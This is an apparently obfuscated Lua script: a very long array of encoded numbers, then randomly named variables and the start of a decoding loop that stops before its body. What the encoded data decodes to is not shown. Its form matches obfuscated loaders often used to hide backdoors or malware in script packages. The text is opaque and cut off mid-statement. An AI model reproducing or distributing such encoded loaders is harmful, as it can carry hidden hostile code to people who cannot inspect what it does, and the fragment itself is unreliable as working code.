130,213,218,198,220,87,107,142,135,147,64,108,133,130,129,146,129,142,106,212,211,213,215,112,173,200,205,198,230,137,144,171,196,226,208,226,142,200,217,212,194,229,201,202,184,221,215,219,216,141,149,169,222,131,160,143,215,190,198,219,149,220,132,120,133,148,138,127,107,142,106,129,142,135,147,64,108,133,130,129,146,212,211,184,197,190,200,214,139,177,217,138,131,211,196,226,179,208,220,227,215,137,173,209,209,200,209,211,211,190,214,224,213,207,142,176,206,195,205,225,200,205,184,194,219,204,239,148,190,198,213,201,209,202,226,175,206,202,213,220,148,177,210,171,165,238,131,156,120,202,226,204,224,78,181,201,144,143,148,221,202,184,196,221,220,225,148,200,135,144,143,219,213,211,183,143,209,214,232,142,192,145,130,147,155,129,123,84,129,142,135,147,64,108,133,130,129,146,129,142,189,205,211,204,227,72,126,149,146,138,127,107,142,106,129,142,135,147,64,108,202,208,197,127,107,142,106,129,142,204,225,132,89,111,199,207,214,110,120,87,107,212,220,225,131,192,206,209,207,146,209,218,171,207,226,143,234,143,190,209,198,138,127,107,142,106,129,142,205,226,146,108,196,142,213,219,205,211,106,202,220,135,227,129,181,215,213,137,217,198,226,158,202,218,204,230,72,117,142,130,197,225,110,120,106,129,142,135,147,64,108,206,200,129,230,202,218,175,143,212,211,212,135,191,133,224,158,146,145,142,171,207,210,135,231,137,184,202,144,218,146,223,171,106,145,142,200,225,132,108,204,199,213,198,202,218,175,137,226,208,223,133,122,221,142,213,219,205,211,120,218,142,148,147,81,117,147,200,200,146,158,171,106,145,142,219,219,133,186,114,108,129,146,129,142,106,129,142,135,147,64,181,203,130,207,225,213,142,172,205,207,202,222,140,181,216,214,181,219,205,211,106,208,224,135,214,136,177,200,205,137,230,202,218,175,143,230,147,231,137,184,202,144,218,155,129,226,178,198,220,116,125,64,108,133,130,129,146,129,142,106,129,142,135,147,106,173,211,201,212,198,198,218,175,137,226,208,223,133,122,221,142,213,219,205,211,120,218,142,148,147,81,120,150,146,145,155,110,120,106,129,142,135,147,64,108,133,130,129,146,129,142,193,201,215,211,216,64,179,202,214,181,219,205,211,114,213,215,211,216,78,196,145,214,202,222,198,156,195,129,155,135,164,73,122,203,201,129,175,158,142,122,129,207,213,215,64,179,202,214,181,219,205,211,114,213,215,211,216,78,196,145,214,202,222,198,156,195,138,156,205,223,129,179,216,130,223,175,129,158,106,197,221,116,125,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,210,205,211,196,211,114,202,226,212,198,133,177,201,142,145,158,145,151,87,107,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,147,184,202,199,209,154,197,211,182,194,231,183,223,129,186,217,139,110,124,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,211,211,202,226,142,186,202,197,213,154,216,221,188,205,210,147,215,143,187,215,168,194,228,206,154,190,202,218,204,161,152,120,217,203,205,215,143,231,106,142,142,152,156,45,86,133,130,129,146,129,142,106,129,142,135,147,64,108,202,208,197,127,107,142,106,129,142,135,147,64,108,133,130,129,146,129,215,176,129,213,204,231,116,181,209,199,137,230,202,218,175,143,230,147,231,137,184,202,144,218,146,142,142,123,138,156,205,218,64,137,162,130,145,146,194,220,174,129,213,204,231,116,181,209,199,137,230,202,218,175,143,230,147,231,137,184,202,144,218,155,143,212,182,194,213,218,147,158,137,133,146,129,230,201,211,184,110,120,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,188,209,195,196,215,137,215,190,206,193,204,216,132,120,149,142,145,155,110,120,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,218,223,133,177,213,138,197,215,205,207,195,177,218,200,225,148,117,114,108,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,224,175,196,221,213,225,133,175,217,138,216,225,211,218,174,141,210,214,226,146,146,198,212,206,158,213,215,182,198,156,223,159,148,181,209,199,143,235,129,155,106,146,151,116,125,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,212,198,230,214,224,184,110,120,135,147,64,108,133,130,129,146,129,142,106,129,142,204,225,132,89,111,130,129,146,129,142,106,129,142,135,147,133,186,201,111,107,146,129,142,106,129,142,135,216,142,176,114,108,129,146,129,142,106,129,142,208,217,64,178,206,208,197,187,213,211,183,137,215,219,224,115,177,202,198,138,146,158,171,106,145,142,219,219,133,186,114,108,129,146,129,142,106,129,142,135,147,64,174,215,199,194,221,110,120,106,129,142,135,147,64,108,202,208,197,127,107,142,106,129,142,204,225,132,89,111,130,129,146,129,215,176,129,212,208,225,132,149,217,199,206,154,202,226,183,180,211,204,215,73,108,163,159,129,163,150,158,106,213,214,204,225,45,86,133,130,129,146,129,142,106,212,226,214,229,133,159,202,199,197,154,216,221,188,205,210,144,128,42,108,133,130,129,146,129,142,189,205,211,204,227,72,125,149,146,138,127,107,142,106,129,142,204,225,132,89,111,199,207,214,110,120,87,107,123,113,217,149,186,200,214,202,225,207,142,186,207,208,143,234,143,190,209,198,138,127,107,142,106,129,142,208,217,64,178,206,208,197,187,213,211,183,137,215,219,224,105,176,142,130,159,175,129,226,179,205,211,181,232,141,174,202,212,129,230,201,211,184,110,120,135,147,64,108,133,130,129,146,198,230,106,158,142,212,212,148,180,147,200,205,225,208,224,114,200,211,219,181,143,192,141,139,143,234,129,157,106,148,160,144,128,42,108,133,130,129,146,129,142,106,218,211,135,176,64,185,198,214,201,160,199,218,185,208,224,143,218,133,192,167,209,213,154,138,156,195,129,157,135,166,82,117,114,108,129,146,129,142,106,129,142,135,220,134,108,217,203,205,215,175,227,183,195,211,217,147,94,108,150,130,213,218,198,220,87,107,142,135,147,64,108,133,130,129,146,129,142,106,216,214,208,223,133,108,203,203,207,214,170,226,175,206,150,208,231,141,149,201,139,129,176,158,142,190,202,218,204,193,149,185,199,199,211,146,194,220,174,129,212,208,225,132,149,217,199,206,154,202,226,183,180,211,204,215,73,108,161,130,146,171,145,142,174,208,123,113,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,220,202,202,222,198,142,190,202,218,204,195,140,173,200,199,137,215,217,154,195,198,151,135,215,143,89,111,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,212,214,229,64,171,145,203,129,219,207,142,186,194,215,217,230,72,192,206,206,198,180,211,211,171,204,151,135,215,143,89,111,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,181,203,130,200,215,213,194,179,205,211,143,216,152,120,222,199,129,157,129,215,115,143,212,206,147,93,137,133,146,129,211,207,210,106,200,211,219,199,137,184,202,138,198,234,141,231,175,129,153,135,220,73,122,199,201,129,175,158,142,122,129,226,207,216,142,89,111,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,226,205,207,173,198,150,208,231,141,149,201,142,145,158,202,151,87,107,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,230,140,177,202,210,137,214,198,218,171,218,190,211,212,131,177,142,111,107,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,224,175,196,221,213,225,133,175,217,138,216,225,211,218,174,141,210,214,226,146,146,198,212,206,158,198,230,118,218,211,144,128,42,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,216,142,176,114,108,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,204,225,132,89,111,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,198,220,174,110,120,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,195,205,203,205,215,129,226,179,205,211,183,232,142,175,205,138,198,234,141,231,175,138,142,203,226,45,86,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,199,221,217,147,127,120,206,130,202,224,129,222,171,202,224,218,155,148,181,209,199,163,228,198,207,181,138,142,203,226,45,86,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,137,178,133,201,198,230,181,215,182,198,150,204,235,76,197,202,130,140,146,202,151,120,199,213,135,241,93,108,149,130,208,228,129,213,175,213,194,208,223,133,116,202,218,141,235,198,142,117,129,215,144,161,130,179,133,224,158,146,145,142,190,201,211,213,128,42,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,210,214,224,196,214,114,145,154,208,156,45,86,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,212,222,198,211,186,137,210,204,223,129,197,181,215,207,213,201,151,87,107,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,229,133,175,212,208,207,215,196,226,114,216,221,217,223,132,120,201,209,208,228,167,207,188,206,154,204,235,76,197,202,139,110,124,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,198,224,197,123,84,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,222,191,204,227,211,181,140,187,200,205,137,155,110,120,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,212,218,175,198,222,143,164,80,124,142,111,107,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,216,142,176,114,108,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,211,184,197,123,113,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,215,199,196,225,207,220,175,196,226,143,234,143,190,209,198,141,214,208,221,188,167,207,217,224,76,177,221,142,218,215,138,123,84,129,142,135,147,64,108,133,130,129,146,129,142,175,207,210,116,125,64,108,133,130,129,146,129,142,175,205,225,204,128,42,108,133,130,129,146,129,142,106,129,142,135,147,151,180,206,206,198,146,199,215,184,197,183,219,216,141,116,206,214,206,187,197,151,106,159,142,151,147,129,186,201,130,199,219,207,210,147,213,211,212,155,137,192,210,181,198,215,197,151,106,157,142,152,172,80,108,201,209,110,124,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,216,214,208,223,133,108,204,199,213,198,202,218,175,137,211,223,159,153,177,142,144,199,217,129,171,135,129,158,135,212,142,176,133,201,198,230,181,215,182,198,150,204,235,76,197,202,139,143,212,200,142,135,158,142,151,147,132,187,114,108,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,215,223,129,175,202,138,202,230,206,183,174,141,158,147,163,73,89,111,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,225,211,216,133,188,141,198,198,222,194,231,154,205,207,202,216,73,89,111,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,224,204,214,143,186,211,199,196,230,137,229,185,211,218,203,159,132,187,212,212,167,211,211,219,118,198,230,147,236,133,117,114,108,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,211,184,197,123,113,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,220,202,202,222,198,142,177,198,226,187,220,140,177,141,199,217,158,218,211,115,143,212,206,147,158,137,133,146,129,225,211,142,177,198,226,187,220,140,177,141,199,217,158,218,211,115,143,208,206,147,158,137,133,146,129,214,208,123,84,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,210,214,224,196,214,114,145,154,151,156,45,86,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,212,218,204,216,144,116,201,199,205,211,218,190,191,207,209,207,156,45,86,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,211,211,202,226,142,186,202,197,213,154,216,221,188,205,210,147,215,143,187,215,168,194,228,206,154,175,217,154,224,216,73,89,111,130,129,146,129,142,106,129,142,135,147,64,108,133,130,129,146,198,220,174,110,120,135,147,64,108,133,130,129,146,129,142,106,129,211,213,215,45,86,133,130,129,146,129,142,106,129,211,213,215,45,86,133,130,129,146,129,142,106,129,222,220,222,149,184,167,206,208,213,204,150,115,110,120,135,147,64,108,133,130,129,146,212,218,175,198,222,143,164,80,124,142,111,107,146,129,142,106,129,142,135,147,131,184,202,195,211,154,138,123,84,129,142,135,147,64,108,133,130,212,222,198,211,186,137,159,151,163,73,89,111,130,129,146,129,142,106,129,142,208,217,64,174,218,219,162,216,213,211,188,177,188,169,147,129,186,201,130,199,219,207,210,147,213,211,212,155,81,125,151,139,129,176,158,142,183,202,220,208,224,149,185,172,199,206,146,213,214,175,207,123,113,147,64,108,133,130,129,146,129,142,106,129,142,201,232,153,116,142,111,107,146,129,142,106,129,142,135,147,64,108,133,130,212,222,198,211,186,137,159,151,163,73,89,111,130,129,146,129,142,106,129,142,135,147,64,108,220,195,211,226,137,229,185,211,218,203,159,132,187,212,212,167,211,211,219,115,110,120,135,147,64,108,133,130,129,146,129,142,106,129,225,211,216,133,188,141,147,145,162,145,151,87,107,142,135,147,64,108,133,130,129,146,129,142,106,196,221,211,223,133,175,217,181,198,230,137,226,188,214,211,147,165,73,89,111,130,129,146,129,142,106,129,142,135,147,64,108,216,206,198,215,209,150,123,145,158,144,128,42,108,133,130,129,146,129,142,106,198,220,203,128,42,108,133,130,129,215,207,210,87,107,211,213,215,45,86,114,108,199,231,207,209,190,202,221,213,147,136,173,215,216,198,229,213,150,193,208,224,211,215,73,89,111,130,129,146,129,214,171,211,228,204,230,148,125,133,159,129,162,110,120,106,129,142,135,219,129,190,219,199,212,230,147,142,135,129,167,160,128,42,108,133,130,129,218,194,224,192,198,225,219,166,64,137,133,147,110,124,129,142,106,129,226,208,223,133,192,206,206,198,146,158,142,122,110,120,135,128,42,108,133,130,129,216,208,224,106,218,214,200,229,150,177,216,214,129,175,129,163,125,141,142,151,159,64,121,150,130,197,225,110,120,106,129,142,135,147,64,108,203,209,211,146,217,214,171,211,228,204,230,148,108,162,130,201,211,211,228,175,212,226,152,159,64,180,198,212,215,215,212,226,124,141,142,207,212,146,194,202,213,213,165,129,210,185,110,120,135,147,64,108,133,130,129,146,129,142,179,199,142,206,216,148,160,206,206,198,154,217,214,171,211,228,204,230,148,120,133,219,201,211,211,228,175,212,226,144,161,134,179,133,159,158,146,202,226,183,180,211,204,215,64,173,211,198,129,217,198,226,158,202,218,204,155,152,180,198,212,215,215,212,226,118,129,231,207,212,146,194,202,213,213,155,143,224,175,194,210,224,147,148,180,202,208,110,124,129,142,106,129,142,135,147,64,108,133,130,129,146,171,207,184,200,225,187,216,140,177,141,218,201,211,211,228,175,212,226,147,147,153,180,198,212,215,215,212,226,115,110,120,135,147,64,108,133,130,129,146,129,142,106,129,142,208,217,64,179,202,214,181,219,205,211,114,217,214,200,229,150,177,216,214,141,146,218,214,171,211,228,204,230,148,117,147,200,200,146,158,171,106,202,226,212,198,133,177,201,130,213,218,198,220,87,107,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,144,193,211,197,201,154,145,154,122,138,123,113,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,216,206,198,215,209,150,174,198,218,200,236,104,173,215,216,198,229,213,151,87,107,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,147,146,177,200,209,207,224,198,209,190,137,229,214,229,140,176,145,130,197,225,208,224,144,194,224,212,159,64,196,205,195,211,232,198,225,190,141,142,224,219,129,190,219,199,212,230,138,123,84,129,142,135,147,64,108,133,130,129,146,129,142,106,198,220,203,128,42,108,133,130,129,146,129,142,106,129,142,204,225,132,89,111,130,129,146,129,142,106,129,142,135,147,137,178,133,200,202,224,197,183,190,198,219,143,220,148,185,174,198,138,146,159,171,106,146,167,151,147,148,180,202,208,110,124,129,142,106,129,142,135,147,64,108,133,130,129,146,209,220,172,137,229,214,229,140,176,142,111,107,146,129,142,106,129,142,135,147,64,108,133,130,129,229,205,211,175,209,150,152,163,80,117,114,108,129,146,129,142,106,129,142,135,147,64,108,133,130,209,222,194,220,190,137,229,214,229,140,176,142,111,107,146,129,142,106,129,142,135,147,64,108,133,130,129,229,205,211,175,209,150,152,163,80,117,114,108,129,146,129,142,106,129,142,135,147,64,177,211,198,110,124,129,142,106,129,142,135,147,133,186,201,111,107,146,110,120,106,129,142,135,147,64,108,206,200,129,230,202,218,175,213,215,211,216,64,137,162,130,146,146,213,214,175,207,123,113,147,64,108,133,130,129,146,129,142,106,202,212,135,219,129,190,219,199,212,230,146,142,135,158,142,151,147,148,180,202,208,110,124,129,142,106,129,142,135,147,64,108,133,130,129,146,201,207,188,215,211,218,231,81,108,162,130,154,171,110,120,106,129,142,135,147,64,108,133,130,129,146,129,142,178,194,224,221,216,147,192,151,130,158,146,145,123,84,129,142,135,147,64,108,133,130,129,146,129,142,106,201,207,217,233,133,191,217,149,129,175,129,155,123,110,120,135,147,64,108,133,130,129,146,129,142,106,129,142,219,220,140,177,217,203,205,215,129,171,106,145,123,113,147,64,108,133,130,129,146,129,142,106,198,218,218,216,137,178,133,202,194,228,215,211,189,213,159,135,176,93,108,158,155,129,230,201,211,184,110,120,135,147,64,108,133,130,129,146,129,142,106,129,142,207,212,146,194,202,213,213,163,129,171,106,145,123,113,147,64,108,133,130,129,146,129,142,106,129,142,135,219,129,190,219,199,212,230,147,142,135,129,167,160,128,42,108,133,130,129,146,129,142,106,129,142,135,147,64,180,198,212,215,215,212,226,125,129,171,135,164,45,86,133,130,129,146,129,142,106,129,142,135,147,64,108,217,203,205,215,213,215,182,198,142,164,147,80,89,111,130,129,146,129,142,106,129,142,135,147,133,186,201,111,107,146,129,142,106,129,142,135,216,140,191,202,203,199,146,213,215,182,198,226,208,223,133,108,162,159,129,162,129,226,178,198,220,116,125,64,108,133,130,129,146,129,142,106,129,226,208,223,133,192,206,206,198,146,158,142,190,202,218,204,231,137,184,202,130,140,146,146,123,84,129,142,135,147,64,108,133,199,207,214,110,120,106,129,142,135,147,64,108,213,208,195,154,216,221,188,205,210,144,128,42,108,133,130,129,146,129,142,189,205,211,204,227,72,125,149,146,138,127,107,142,106,129,142,135,147,64,181,203,130,212,215,209,207,188,194,226,204,195,140,173,211,214,129,230,201,211,184,110,120,135,147,64,108,133,130,129,146,129,142,186,205,207,213,231,72,195,212,212,205,214,138,123,84,129,142,135,147,64,108,133,130,129,146,212,218,175,198,222,143,164,80,124,142,111,107,146,129,142,106,129,142,135,216,142,176,114,108,129,146,129,142,106,129,142,208,217,64,178,206,208,197,187,213,211,183,137,159,152,165,73,108,163,159,129,223,202,220,179,206,227,212,186,133,185,133,214,201,215,207,123,84,129,142,135,147,64,108,133,130,129,146,195,227,195,137,151,116,125,64,108,133,130,129,146,129,142,106,129,225,211,216,133,188,141,147,145,162,138,123,84,129,142,135,147,64,108,133,199,207,214,110,120,106,129,142,135,216,142,176,114,108,129,215,207,210,87,107,123,113,220,134,108,216,205,202,226,213,227,190,208,224,135,212,142,176,133,201,198,230,163,221,190,137,151,149,234,143,190,209,198,155,216,202,220,174,137,144,187,200,116,155,183,171,162,190,131,151,106,213,214,204,225,64,89,111,130,129,146,129,219,171,202,220,143,156,45,86,133,130,129,146,212,218,175,198,222,143,164,80,124,142,111,107,215,207,210,87,107,123,113,220,134,108,217,195,204,215,177,215,173,204,207,223,216,64,173,211,198,129,216,202,220,174,170,226,204,224,72,133,157,139,129,175,158,142,122,129,226,207,216,142,89,111,130,129,146,129,229,171,211,222,143,234,143,190,209,198,177,219,196,217,171,217,211,147,147,132,187,212,212,177,219,196,217,171,217,211,144,128,42,108,133,130,129,229,205,211,175,209,150,153,163,80,124,142,111,107,146,129,142,106,196,221,211,223,133,175,217,181,198,230,137,212,171,205,225,204,159,64,127,142,111,107,146,129,142,106,212,218,204,216,144,116,150,146,145,155,110,120,106,129,142,135,217,143,190,133,193,141,146,208,208,180,129,215,213,147,144,173,206,212,212,154,200,211,190,176,208,209,216,131,192,216,138,138,155,129,210,185,110,120,135,147,64,108,133,130,129,219,199,142,185,195,216,149,220,132,108,162,159,129,171,153,142,190,201,211,213,128,42,108,133,130,129,146,129,142,106,129,142,177,212,142,179,216,182,198,222,198,150,188,208,227,213,215,72,187,199,204,143,234,129,157,106,148,160,144,159,64,185,198,214,201,160,199,218,185,208,224,143,226,130,182,147,219,129,161,129,161,124,138,154,152,163,80,124,142,111,107,146,129,142,106,129,142,135,147,64,108,200,209,205,222,198,209,190,137,160,144,128,42,108,133,130,129,146,129,142,106,129,142,218,223,133,177,213,138,146,162,145,158,115,110,120,135,147,64,108,133,130,129,215,207,210,87,107,142,135,147,64,108,133,130,202,216,129,212,179,207,210,176,231,133,185,141,155,153,155,129,172,106,145,142,219,219,133,186,114,108,129,146,129,142,106,129,142,135,147,64,174,215,199,194,221,110,120,106,129,142,135,147,64,108,202,208,197,127,107,142,106,129,142,204,225,132,89,111,130,129,146,129,219,185,215,211,143,160,81,120,133,146,138,127,107,142,106,129,142,218,223,133,177,213,138,146,162,145,151,87,107,142,135,147,64,191,202,208,197,194,194,209,181,198,226,143,149,129,175,217,203,208,224,221,210,188,208,222,195,225,156,181,217,199,206,187,165,234,131,153,144,147,165,73,89,111,130,129,146,129,225,175,207,210,183,212,131,183,202,214,137,148,194,209,190,202,221,213,239,132,181,198,206,208,217,192,224,175,213,227,217,225,124,186,201,203,194,222,208,213,169,207,207,212,216,156,176,215,209,209,209,202,226,175,206,202,213,220,148,177,210,171,165,238,154,166,198,189,220,202,226,149,186,217,222,131,146,143,156,106,137,212,208,225,132,149,217,199,206,154,154,166,115,129,155,135,164,73,120,151,139,110,124,129,142,106,129,225,211,216,133,188,141,151,145,162,138,123,84,129,142,135,147,151,177,198,212,137,171,153,151,87,107,142,135,147,64,191,209,199,198,226,137,163,122,145,151,116,125,64,177,211,198,110,124,110,120,176,208,224,135,220,64,137,133,147,141,231,209,213,188,194,210,204,181,129,175,208,210,194,213,204,142,174,208,123,113,147,64,108,133,213,198,224,197,190,171,196,217,204,231,72,110,198,197,213,219,208,220,198,195,227,224,207,142,181,217,199,206,238,214,222,177,211,207,203,216,127,174,198,197,204,226,194,209,181,131,154,135,165,73,89,111,130,129,146,129,225,182,198,211,215,155,85,124,149,139,110,124,198,220,174,110,120,116,125,151,180,206,206,198,146,200,211,190,163,221,219,155,73,122,216,214,194,230,214,225,106,223,171,135,149,143,186,209,203,207,215,131,142,174,208,123,113,147,64,108,133,197,208,224,207,211,173,213,150,144,128,42,108,133,130,129,229,205,211,175,209,150,156,163,80,124,142,111,107,215,207,210,87,107,123,113,234,136,181,209,199,129,230,211,227,175,129,210,214,128,42,108,133,130,129,216,208,224,106,202,220,203,216,152,120,220,209,211,222,197,142,179,207,142,215,212,137,190,216,138,216,225,211,218,174,212,151,135,215,143,89,111,130,129,146,129,142,106,129,142,222,212,146,188,141,217,208,228,205,210,118,197,221,214,229,102,173,215,207,138,127,107,142,106,129,142,135,147,64,108,216,206,198,215,209,150,123,145,158,144,128,42,108,133,130,129,146,129,142,106,202,212,135,225,143,192,133,208,214,221,198,210,106,213,214,204,225,45,86,133,130,129,146,129,142,106,129,142,135,147,64,181,203,130,197,215,213,211,173,213,180,200,229,141,173,199,206,198,146,213,214,175,207,123,113,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,201,199,213,215,196,226,114,138,123,113,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,216,206,198,215,209,150,123,145,158,144,128,42,108,133,130,129,146,129,142,106,129,142,135,147,133,186,201,111,107,146,129,142,106,129,142,135,147,64,108,133,130,196,225,205,218,175,196,226,186,216,148,116,217,212,214,215,141,160,115,110,120,135,147,64,108,133,130,129,146,129,142,106,129,225,211,216,133,188,141,147,145,162,138,123,84,129,142,135,147,64,108,133,130,129,146,129,142,172,205,150,222,226,146,184,201,139,110,124,129,142,106,129,142,135,147,64,108,133,130,129,229,205,211,175,209,150,152,163,80,117,114,108,129,146,129,142,106,129,142,135,147,64,108,133,214,213,146,158,142,185,212,156,219,220,141,177,141,139,110,124,129,142,106,129,142,135,147,64,108,133,130,129,188,194,220,177,212,194,204,223,133,116,150,142,147,163,141,159,122,145,151,116,125,64,108,133,130,129,146,129,142,106,129,142,135,230,140,177,202,210,137,163,145,158,115,110,120,135,147,64,108,133,130,129,146,129,142,106,129,214,200,229,150,177,216,214,137,233,208,224,182,197,151,116,125,64,108,133,130,129,146,129,142,106,129,142,135,230,140,177,202,210,137,163,145,158,115,110,120,135,147,64,108,133,130,129,146,129,142,106,129,226,219,147,93,108,212,213,143,230,202,219,175,137,151,135,160,64,192,217,111,107,146,129,142,106,129,142,135,147,64,108,133,130,216,211,204,226,191,188,229,214,229,140,176,194,130,158,146,206,207,190,201,156,205,223,143,187,215,138,213,230,144,161,128,145,158,144,161,78,110,133,170,208,231,211,225,106,131,156,149,224,129,192,205,144,199,222,208,221,188,137,226,219,152,83,130,149,146,144,168,145,151,120,143,144,135,192,137,186,218,214,198,229,131,123,84,129,142,135,147,64,108,133,130,129,146,129,142,189,205,211,204,227,72,125,149,146,138,127,107,142,106,129,142,135,147,64,108,133,130,129,146,202,212,106,203,221,208,225,119,187,215,206,197,179,199,226,175,211,193,219,226,146,177,133,214,201,215,207,123,84,129,142,135,147,64,108,133,130,129,146,129,142,106,129,142,135,221,143,181,211,138,138,127,107,142,106,129,142,135,147,64,108,133,130,129,146,129,142,106,129,225,211,216,133,188,141,147,145,162,138,123,84,129,142,135,147,64,108,133,130,129,146,129,142,175,207,210,116,125,64,108,133,130,129,146,129,142,175,205,225,204,128,42,108,133,130,129,146,129,142,106,129,142,135,147,151,173,208,214,214,205,216,221,188,205,210,196,147,93,108,135,176,182,189,166,178,108,110,120,135,147,64,108,133,130,129,146,129,142,106,129,226,217,216,133,167,220,209,211,222,197,203,106,158,142,137,193,117,151,170,166,131,127,107,142,106,129,142,135,147,64,108,133,130,129,146,207,227,181,198,210,135,176,64,178,198,206,212,215,110,120,106,129,142,135,147,64,108,133,130,129,146,129,225,182,198,211,215,155,85,124,149,146,138,127,107,142,106,129,142,135,147,64,108,202,208,197,127,107,142,106,129,142,135,147,64,108,206,200,129,229,213,207,188,213,142,163,147,147,192,212,210,129,230,201,211,184,110,120,135,147,64,108,133,130,129,146,129,142,106,129,225,219,212,146,192,133,159,129,229,213,207,188,213,142,146,147,81,89,111,130,129,146,129,142,106,129,142,204,223,147,177,114,108,129,146,129,142,106,129,142,135,147,64,108,133,203,199,146,211,211,189,213,207,217,231,116,181,210,199,211,146,213,214,175,207,123,113,147,64,108,133,130,129,146,129,142,106,129,142,135,147,64,108,220,195,204,230,214,142,135,129,233,228,128,42,108,133,130,129,146,129,142,106,129,142,135,147,64,108,133,130,213,228,198,211,106,158,142,226,240,45,86,133,130,129,146,129,142,106,129,142,135,147,64,177,211,198,110,124,129,142,106,129,142,135,147,64,108,133,130,129,229,213,207,188,213,142,164,147,81,89,111,130,129,146,129,142,106,129,142,135,147,64,108,209,209,208,226,129,171,106,205,221,214,227,64,119,133,147,110,124,129,142,106,129,142,135,147,64,177,211,198,110,124,129,142,106,129,211,213,215,45,86,133,130,129,146,202,212,106,207,221,219,147,140,187,212,210,202,224,200,142,190,201,211,213,128,42,108,133,130,129,146,129,142,106,211,211,212,226,150,177,167,209,213,154,200,211,190,163,221,219,155,73,122,211,195,206,215,138,123,84,129,142,135,147,64,108,133,130,195,228,198,207,181,110,120,135,147,64,108,202,208,197,127,107,211,184,197};mYeNZOLjhbkSgmEbtlzlyasLSVSwxAhXlyIXVzllUDdYKCWATXwtUhhdKVerZGgBQOkDUJwReAJeWLnEvYQjxXjdvpchfbreTMPHoDRPammTPZRMXZCHLdExMzsFSMjE=0;aubJamUKWiSvuwbmieScaqrBBfDKYEwjQovlamPhnKRdFHkUwIOhYzbwexRpRlTuKzxwhebMlHcVcPIaAnpoSgzCkxUrFhPDSRbdSTCjviVEMDwiAjhmVFJkYlhBNQln='';for BnBSPjdUNCmChckWUVqATxfpgeUBrndQqnKyveoJrzICrBIhTYPjMxKOqzNJvGhvheMtzTnAwDMFitcahCOZoDlBAWOKezghymgKQZMATyAMtPOLlRmZVgtfXKGWDcMi,sovWGjcuvigPisOQyMXebCwKaxzqBbAdxfMhTCrLEpZSVfztBhxCXbJsCzBGyLnUfqnuhxPkaguEOWBwYCXfkmhzRJksFhFxkrdawfmtjSDxjZPBtepveqINOVuOmwaS in pairs(VbdSOuPEDJccwCuBIaNoqScYPcuzAYrqyvizGZjtqWazBNFCtOgDpkImGAIonsViXbnHnOYwlqnAdAZVvLPZMESdLaQZMbBQytgMaNHnvtUrwWcAuAjYkIxUoiGAMuCW) do 